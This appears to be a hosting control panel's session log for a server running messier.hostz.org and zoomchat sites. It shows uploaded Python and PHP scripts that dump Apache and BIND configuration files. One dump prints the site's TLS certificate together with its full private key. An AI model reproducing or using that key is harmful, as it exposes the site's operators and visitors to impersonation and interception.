         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sat Jan 31 11:42:20.200571 2026] [so:warn] [pid 3945337:tid 139836049680704] AH01574: module status_module is already loaded, skipping


2026-01-31 11:42:20: 

PUT: /tmp/pkp444454

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_messier.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-31 11:42:20: 

chmod 755 /tmp/pkp444454; /tmp/pkp444454; rm /tmp/pkp444454

2026-01-31 11:42:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf	1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-31 11:42:21: 

PUT: /tmp/pkp918784

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-31 11:42:21: 

chmod 755 /tmp/pkp918784; /tmp/pkp918784; rm /tmp/pkp918784

2026-01-31 11:42:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt	5365
83:31:5c:1c:87:a8:fe:b4:b0:4d:20:c0:db:f0:bc:f8

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBQM12Ep7mvS/1Ce7lH3tfDm8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTMxMTA0MzM4WhcNMjYwNTAxMTA0MzM3WjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMrMrtBQwaMW26ahVfXUEY4oQV5AZztctgKIPEV/cM0VPWoHvVS5TmyZHob+
1Tf+LsYughjqfo7/IsoP90NA91wD4gChrmV14Wg/XOrGBZpBBA6smX6UKZJLfFLS
j9Vhtah4Qe7O74GKSh8qOZLkTD03WsiRSj1BYGG65eK/eurwylYazoVFAkXxJ44q
0ykrOjCFvDA/yXeJLUjAbODkr1HC3A0JU2V1Zb+kbDP55m4Y1v5mtU32IX7p9qV1
cFSGZmEa01POvQnRC7FM8XoAX1Glb5or46IvVC/ty8qVwCa3ykRlt7bV1Oye6BB0
TZt+1vZasvIGLde+nislDgpobo0CAwEAAaOCAiowggImMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUFkdIzvyqmXBatDXUkrd5WVlj+H8wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzYxLmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2
AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnBPcRf4AAAQDAEcw
RQIgdcnHdmxhb10bf+6ihvRn8sQsrKkmOhMictfeqX4olgECIQCmEsTNlD5QnqQy
lh7iFGzCTHkJ/KziFDQwk0ELayZCVwB/AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy
7AdoUdGIaRn3AAABnBPcSaYACAAABQAwrj36BAMASDBGAiEAmRoAy/F5xdMXZpnu
Z8/VS+FDBixlXvg7eMrvi0pUa/YCIQDAMl7X0W7d0JXYzuFk9oeVtnFBmfFaevt/
a1iTSmscPzANBgkqhkiG9w0BAQsFAAOCAQEAWV7ETiAnPqFnfEEa1u2NmxneLXtB
MHPGN1JRSfHHqdc7R+WX2dPe+Xme4RVGtzOnuCa0T0a7iZ5SlDGGruI6IfvAfPVG
a7d4JIgdf5ZqWv58Lw//X4VSWf1ExgH/HSxdpqN9lBA0Gg7jDNQYe7KWgIfja9Ge
sKCWeVpC+NGivYk7QFp+zu+LSx9TY9k5D1wV5U6sR+gNa4wR/QnyNQZia58A2Qoh
G2Dv8Al3FlgB5uEWLNGOCT66fQoBh0V/wNNIlq44Q2Vc8IFu4qTp2new8VpcHmV1
NsK3IXmbG4oAA7NrRajkEqR6OUiUpSph4BmnxtDvjm3g0Ku2VpgInVn6Pw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDKzK7QUMGjFtum
oVX11BGOKEFeQGc7XLYCiDxFf3DNFT1qB71UuU5smR6G/tU3/i7GLoIY6n6O/yLK
D/dDQPdcA+IAoa5ldeFoP1zqxgWaQQQOrJl+lCmSS3xS0o/VYbWoeEHuzu+Bikof
KjmS5Ew9N1rIkUo9QWBhuuXiv3rq8MpWGs6FRQJF8SeOKtMpKzowhbwwP8l3iS1I
wGzg5K9RwtwNCVNldWW/pGwz+eZuGNb+ZrVN9iF+6faldXBUhmZhGtNTzr0J0Qux
TPF6AF9RpW+aK+OiL1Qv7cvKlcAmt8pEZbe21dTsnugQdE2bftb2WrLyBi3Xvp4r
JQ4KaG6NAgMBAAECggEAGkhToZjNt6K3Pc2r88uTqN5LtnjXSCi4R/S7BvDAwDtv
9aViIrBPWyCvBaTSIksVacbOQodldofXTOOr0nIBfNHeAOHzVZ/k4htQIfce88JY
UcSJsg9modiZmKxESs26esZ3GQmFnb6743UX+BMRVF+vqs21luG5qYDM2Umilv75
jPnGSpFvDli+Qzf1pnaKU2q7NwNbjgBe4Xny/ae5oNX7oYQfXGgk5tCLdzCQzo2D
GFOMqUr7eN46dk7Ulp9KvknBQlSfmYq1JADNGtuiLg3FTH8hnTaZ8I8LfpZOd4fG
9ajyUYyOEPfMaXOs/gbK1cpMWpRQ48Kc2eUJ8BLpqwKBgQD61a0+zHAbZm1X8pA0
BqZaMX2isgFV0toHROEntgoXJHiSDIP0T0yPKqyzNYbGx8OCa23bMqBK68WLcHQS
xWMwjMJFKi9smAeR1oySR4Vd5wUKOF3Bq0kKGEYaI/be0xhluxxgvpHo7RjaJVoH
d6wvTfGN2WTPkmtk+/zwTJmLKwKBgQDO+ceZRCpRHFCRiMJlbsyldtqwS3RmyuPH
F3Qi1YEF1403rTB73rsKmyIP1li4ccX96M70787MxLuUWRcKLSOAK0lsW3LMbFo4
n6mRMiBufXNuOGTc6rN/a+nxDD74ijcTeYpxvB+Vcs0CWhP57E9pUwxaOQ5+WnBG
kQMEnaMxJwKBgDNi5vUAiM70Mt5bkPM3kYjUrrpP4Tol0gi/Maki//oxvImfCsFY
JYUG5w5nns7GSeVEAONxAamXl4azaPQXf/SIQZxNwh1rH9HetDmbcVUFaODpHzv3
zSTGSEY+q+qGMG9W379qCxY+zGKUWFdDSwD95Mh8isyDYID1pqHL74C1AoGARVzJ
+mAwukv96Dfnxexy4sTJFynCUayO1yrR/daFTbrmFZGR3QFQt4YzzRDtXKqsSqJZ
sRYovND1eAq/QObNredTzN98wmtRdQZ04jblTYH3TCnUC4EQNJSqquCKveo7+OfT
cLg18XSupaogZbI/DrIJQrc6VzfhxpRUaZiWlyMCgYEAp158PPWvx5IhzJQX+Yp1
wl3vMVD2mfP6iYUmLdSuBNJBXcKWz85xPZpRTye+o1wk1kqint2JKhReMO5neisG
wVRz4Q2gngeKAVd2iGKmichZv1yWBaXWMh5r8rclf8HAgIaDWXxkA9tN6xQ+M0Ow
Vlg+KLSjV9XlWyqP08mcjM0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-31 20:28:24: Establishing a connection
2026-01-31 20:28:42: Establishing a connection
2026-01-31 20:28:52: Establishing a connection
2026-01-31 20:28:52: Establishing a connection
2026-01-31 20:28:52: 

PUT: /tmp/pkp895066

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-31 20:28:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp895066; rm /tmp/pkp895066'

2026-01-31 20:28:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
